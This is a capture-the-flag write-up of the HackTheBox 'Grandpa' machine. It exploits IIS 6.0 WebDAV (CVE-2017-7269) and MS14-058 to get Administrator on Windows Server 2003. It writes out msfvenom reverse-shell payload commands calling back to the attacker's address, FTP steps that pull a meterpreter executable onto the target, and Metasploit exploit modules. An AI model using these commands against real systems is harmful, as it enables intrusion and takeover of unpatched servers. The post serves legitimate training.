HTB: Grandpa
← Back to the log
December 1, 2026·Johnytiger

HTB: Grandpa

An IIS 6.0 server with WebDAV turned on falls to the ScStoragePathFromUrl buffer overflow (CVE-2017-7269) through Metasploit, then the MS14-058 kernel exploit for Windows Server 2003 takes us from network service to the Administrator's desktop.

securityctfwriteuphacktheboxwindowsiiswebdavbuffer overflowmetasploitkernel exploitprivilege escalation

Grandpa is an old Windows box from HackTheBox running IIS 6.0 on Windows Server 2003. The foothold is the WebDAV ScStoragePathFromUrl buffer overflow, and the privesc is a kernel exploit for Server 2003 through Metasploit. Let's walk through it.

Recon

Taking a look at our nmap scan, we have a lot to work with here. Only port 80 is open, and it's an IIS 6.0 server with WebDAV turned on, which is vulnerable to a few things.

nmap scan of Grandpa showing only port 80 open, running Microsoft IIS 6.0 with WebDAV enabled and a long list of risky HTTP methods like PROPFIND, PUT and MOVE.

Foothold: IIS 6.0 WebDAV buffer overflow

Looking at searchsploit, we find the WebDAV ScStoragePathFromUrl Remote Buffer Overflow (CVE-2017-7269). It fits our target, since WebDAV is enabled and PROPFIND is allowed.

searchsploit results for IIS 6.0, with the WebDAV ScStoragePathFromUrl Remote Buffer Overflow exploit 41738.py highlighted.

Let's pull that to our Kali box and check it out.

searchsploit -m windows/remote/41738.py

The 41738.py exploit: a PROPFIND request padded with encoded bytes, followed by an alphanumeric shellcode string that we need to swap for our own.

This is simple, we just need to modify the shellcode and the IP it connects to. Let's build a shell with msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.211 LPORT=4444 -e x86/alpha_mixed BufferRegister=EAX -f raw -o sc.txt

Running 41738.py with python2 sends the PROPFIND request with the overflow packed into the If header.

This exploit kept failing and took multiple tries to land, so we'll use the Metasploit version instead, which takes care of this automatically:

use exploit/windows/iis/iis_webdav_scstoragepathfromurl

Metasploit opens a command shell session on the box, showing a Microsoft Windows Version 5.2.3790 banner and a prompt in the IIS inetsrv directory.

And we get a shell! Great, let's begin to enumerate this account.

whoami shows we are network service, and whoami /priv lists SeImpersonatePrivilege as enabled.

We're NT AUTHORITY\NETWORK SERVICE and we have SeImpersonatePrivilege, that's good. Let's see which exploit we can use for privesc.

Privesc: Windows Server 2003 kernel exploit

Running systeminfo, we see this is Windows Server 2003 SP2 with only one hotfix installed.

systeminfo shows Windows Server 2003 Standard Edition, Service Pack 2, build 3790 on x86, with a single hotfix installed.

This Windows version is vulnerable to CVE-2014-4076 (MS14-070) for privesc. Searching it up on searchsploit, we find it:

searchsploit lists Windows Server 2003 local privilege escalation exploits, with the SP2 MS14-070 exploit 35936.py highlighted.

Wait, checking Metasploit, it has local privesc modules for Server 2003 too, so let's get ourselves a meterpreter shell on the system first.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.211 LPORT=4445 -f exe -o shell.exe

We have to use FTP to transfer the shell, so I used Python to spin up an FTP server:

sudo python3 -m pyftpdlib -p 21 -w -d $(pwd)

And then we pull it from the target with these FTP commands:

open 10.10.14.211 21
user anonymous anonymous
binary
get shell.exe
bye

Running it then gives us the meterpreter shell!

The pyftpdlib server logs the box logging in as anonymous and downloading shell.exe, and Metasploit catches a meterpreter session as network service.

OK, now for the privesc. Searching for it on Metasploit, we go with the MS14-058 TrackPopupMenu exploit, a win32k kernel bug (CVE-2014-4113):

use exploit/windows/local/ms14_058_track_popup_menu

We fix our options, pointing it at our meterpreter session with a new LPORT, and then run it.

The MS14-058 TrackPopupMenu module runs against session 2, reflectively injects its DLL into netsh and sends a fresh meterpreter stage back to us.

We get the privesc shell! Now let's head to the C:\Documents and Settings folder, where we find the harry directory, and on its desktop we can get the user.txt flag.

user.txt read from the desktop of harry, flag value blurred.

The same user.txt read alongside ipconfig showing the box address 10.129.95.233, flag value blurred.

And then heading to the administrator directory, we can get the root.txt flag!

root.txt read from the Administrator desktop, flag value blurred.

Closing thoughts

This box was pretty easy. I can see this being used on very outdated systems out in the wild that haven't been touched in years. It was a pretty fun box but very simple. I'd suggest doing this box without Metasploit to learn more about manual exploitation and get some practice with it.

End of transmissionAll posts
Drive
Johnytiger
HTB: Grandpa · Johnytiger